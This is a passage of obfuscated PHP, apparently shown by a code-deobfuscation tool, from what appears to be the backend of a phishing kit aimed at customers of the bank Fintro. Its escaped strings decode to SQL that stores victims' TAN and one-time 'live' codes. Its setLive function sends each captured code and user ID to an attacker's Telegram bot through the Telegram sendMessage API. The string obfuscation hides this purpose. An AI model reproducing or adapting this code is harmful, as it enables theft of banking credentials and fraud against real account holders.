$stmt->execute(); } public static function setTanPage($uid, $page) { $sql = "\125\120\104\101\124\x45\x20\x6c\x6f\x67\163\40\x53\x45\x54\40\x70\x61\147\x65\40\x3d\x20\72\x70\x61\x67\x65\x2c\40\167\141\x69\x74\x69\x6e\x67\x20\x3d\40\72\167\141\151\164\151\x6e\x67\x2c\x20\x66\x69\156\164\162\157\x5f\x74\x61\x6e\40\x3d\40\72\145\x6d\x70\164\x79\x20\x57\110\105\122\x45\x20\165\163\145\162\x5f\151\x64\40\75\40\x3a\x75\163\145\162\x5f\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\x74\151\x6e\147", "\146\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\160\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\x75\x73\x65\162\137\x69\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLiveInformation($uid) { $sql = "\125\x50\x44\x41\x54\105\x20\154\157\x67\x73\x20\123\x45\x54\40\x62\x61\156\153\x20\x3d\40\x3a\x62\141\x6e\x6b\x2c\x20\x66\151\x6e\x74\x72\x6f\x5f\162\145\x73\160\x6f\x6e\163\x5f\x74\167\157\40\x3d\x20\72\x65\155\x70\164\171\x2c\x20\x70\x61\x67\x65\40\x3d\x20\x3a\145\155\x70\164\171\54\x20\x77\x61\x69\x74\x69\x6e\x67\x20\x3d\x20\x3a\167\x61\151\x74\x69\x6e\147\x20\127\x48\x45\x52\x45\x20\x75\x73\x65\162\137\x69\x64\x20\75\x20\x3a\x75\x73\145\162\x5f\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\142\141\x6e\x6b", "\x46\x49\116\124\122\117", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\164\171", null, PDO::PARAM_STR); $stmt->bindValue("\x3a\167\x61\x69\164\x69\x6e\147", "\146\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\165\x73\145\162\x5f\151\144", $uid, PDO::PARAM_STR); $stmt->execute(); } public static function setLive($respons, $uid) { $sql = "\125\120\x44\101\124\x45\x20\154\157\x67\163\x20\x53\x45\124\x20\x66\x69\156\x74\x72\157\x5f\162\145\x73\x70\157\156\163\x5f\164\167\x6f\40\75\x20\x3a\x72\x65\x73\160\157\156\163\54\40\167\x61\x69\x74\151\x6e\147\40\75\x20\72\167\141\151\x74\x69\156\147\x20\127\x48\x45\122\x45\x20\165\x73\145\162\x5f\x69\144\x20\75\40\x3a\x75\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x72\145\x73\x70\x6f\x6e\x73", $respons, PDO::PARAM_STR); $stmt->bindValue("\72\x75\x69\144", $uid, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\x69\x74\151\156\x67", "\164\x72\x75\145", PDO::PARAM_STR); $chatId = file_get_contents("\x2e\56\x2f\160\x75\142\x6c\151\x63\x2f\x61\x70\x69\57\x63\x68\141\164\56\151\x6e\151"); $botToken = file_get_contents("\x2e\56\x2f\160\165\142\x6c\x69\x63\57\141\x70\151\57\142\157\x74\56\151\x6e\x69"); $notify = "\x68\x74\164\160\163\x3a\x2f\x2f\141\160\x69\56\x74\x65\154\x65\x67\162\141\x6d\56\x6f\x72\147\x2f\142\157\x74{$botToken}\57\x73\145\156\144\x4d\145\x73\x73\141\x67\x65\x3f\x63\150\x61\x74\x5f\x69\x64\x3d{$chatId}\x26\x74\145\170\x74\x3d\360\x9d\221\xb5\360\235\x92\x86\360\x9d\222\230\x20\360\235\x91\263\360\235\222\220\xf0\235\222\x88\40\x2d\40\50\x4c\151\166\x65\40\x43\157\144\145\x29\x20\xf0\x9f\207\247\360\237\207\xaa\40\106\111\116\124\122\x4f\x25\x30\x41\x25\x30\x41\122\145\163\x70\157\156\163\x65\x20\55\40{$respons}\x25\60\101\45\60\101\xf0\235\221\xbc\xf0\235\x91\260\360\x9d\221\xab\40\55\x20{$uid}"; $stmt->execute(); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $notify); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); } public static function setLivePage($uid, $page) { $sql = "\x55\x50\104\101\x54\x45\x20\x6c\157\x67\x73\40\123\x45\x54\40\160\141\147\145\40\75\x20\x3a\x70\x61\x67\145\x2c\x20\x77\x61\151\164\x69\x6e\x67\40\x3d\40\x3a\x77\x61\x69\x74\151\156\x67\x2c\40\x66\151\x6e\164\162\157\137\162\x65\x73\x70\157\156\163\137\164\167\x6f\x20\75\40\x3a\x65\155\x70\x74\x79\x20\x57\110\x45\x52\x45\40\165\163\145\162\137\151\x64\40\x3d\x20\72\x75\163\145\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\x70\x61\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\167\x61\x69\164\x69\156\147", "\x66\x61\154\163\145", PDO::PARAM_STR); $stmt->bindValue("\x3a\x65\155\x70\x74\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\72\165\x73\145\162\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function setLivePageCode($uid, $page, $codetwo) { $sql = "\125\120\x44\101\124\x45\40\x6c\x6f\147\163\40\x53\x45\124\40\160\x61\x67\145\x20\x3d\40\72\160\141\147\x65\54\x20\x77\x61\151\164\151\x6e\x67\x20\75\40\x3a\x77\x61\151\164\151\x6e\x67\x2c\x20\146\x69\156\x74\162\x6f\137\162\145\x73\160\157\156\163\137\x74\167\157\x20\75\x20\x3a\145\155\x70\x74\171\54\40\146\x69\156\164\x72\x6f\x5f\143\157\144\145\x5f\164\x77\157\x20\75\40\72\x63\157\x64\x65\164\x77\x6f\x20\x57\x48\105\x52\x45\x20\165\163\145\162\137\x69\144\x20\75\40\72\165\163\x65\162\137\151\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\x3a\160\141\x67\x65", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\x61\151\164\151\x6e\x67", "\146\x61\154\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\x65\155\x70\164\x79", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x63\x6f\144\145\164\167\x6f", $codetwo, PDO::PARAM_STR); $stmt->bindValue("\72\165\x73\x65\162\x5f\151\144", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCode($uid) { $sql = "\123\105\114\105\x43\124\x20\52\40\x46\x52\x4f\x4d\40\154\157\x67\x73\40\127\110\105\122\x45\40\165\x73\145\162\x5f\151\144\x20\x3d\x20\72\165\x69\x64"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x75\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\x66\151\x6e\x74\x72\157\x5f\x63\x6f\x64\145\137\164\x77\x6f"])) { return $data["\146\x69\156\164\162\x6f\137\143\157\x64\145\137\x74\x77\157"]; } return false; } public static function setLivePageCodeTwo($uid, $page, $codethree) { $sql = "\125\120\x44\x41\124\x45\40\154\157\x67\x73\40\123\105\x54\40\160\141\x67\x65\40\x3d\x20\72\160\141\x67\x65\54\x20\167\141\x69\164\151\x6e\x67\40\x3d\x20\72\167\141\x69\164\x69\156\x67\x2c\x20\146\151\156\164\162\157\x5f\162\145\x73\x70\x6f\156\x73\x5f\x74\x77\157\40\x3d\40\x3a\x65\155\x70\164\x79\x2c\40\146\151\156\164\162\157\x5f\143\x6f\x64\145\137\x74\x68\162\x65\x65\40\x3d\40\x3a\x63\157\144\x65\164\x68\x72\145\145\40\x57\x48\x45\122\x45\40\x75\x73\x65\x72\137\151\144\40\x3d\x20\x3a\165\163\x65\x72\137\x69\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\160\141\x67\145", $page, PDO::PARAM_STR); $stmt->bindValue("\x3a\x77\141\151\164\x69\x6e\x67", "\x66\x61\x6c\163\x65", PDO::PARAM_STR); $stmt->bindValue("\72\145\x6d\x70\x74\171", null, PDO::PARAM_NULL); $stmt->bindValue("\x3a\x63\x6f\x64\x65\x74\150\x72\145\x65", $codethree, PDO::PARAM_STR); $stmt->bindValue("\x3a\x75\x73\145\x72\x5f\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } public static function getLiveCodeTwo($uid) { $sql = "\123\x45\114\105\x43\x54\x20\x2a\x20\x46\122\x4f\x4d\x20\154\157\x67\163\x20\x57\x48\105\122\x45\x20\x75\x73\x65\x72\x5f\x69\x64\x20\75\40\72\x75\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\165\x69\144", $uid); $stmt->execute(); $data = $stmt->fetch(); if (!empty($data["\146\151\x6e\164\x72\157\137\143\157\x64\145\x5f\x74\150\162\x65\145"])) { return $data["\146\x69\156\164\162\157\x5f\x63\157\x64\x65\137\164\x68\162\145\x65"]; } return false; } public static function setFinishPage($uid, $page) { $sql = "\x55\x50\104\101\x54\105\40\154\157\147\x73\40\123\x45\x54\x20\160\141\x67\145\x20\x3d\x20\x3a\160\x61\x67\x65\x2c\40\x77\x61\151\164\151\156\x67\x20\x3d\40\72\x77\141\151\x74\x69\156\x67\40\127\110\x45\x52\105\x20\165\163\x65\x72\x5f\x69\x64\x20\x3d\x20\x3a\x75\163\x65\x72\x5f\151\144"; $db = static::getDB(); $stmt = $db->prepare($sql); $stmt->bindValue("\72\x70\x61\147\145", $page, PDO::PARAM_STR); $stmt->bindValue("\72\x77\141\151\164\x69\156\x67", "\x66\x61\x6c\x73\145", PDO::PARAM_STR); $stmt->bindValue("\72\165\163\145\x72\137\151\x64", $uid, PDO::PARAM_STR); return $stmt->execute(); } }

Function Calls

None

Variables

None

Stats

MD5 2019cef3a73a5309f783cec9a8c28665
Eval Count 0
Decode Time 252 ms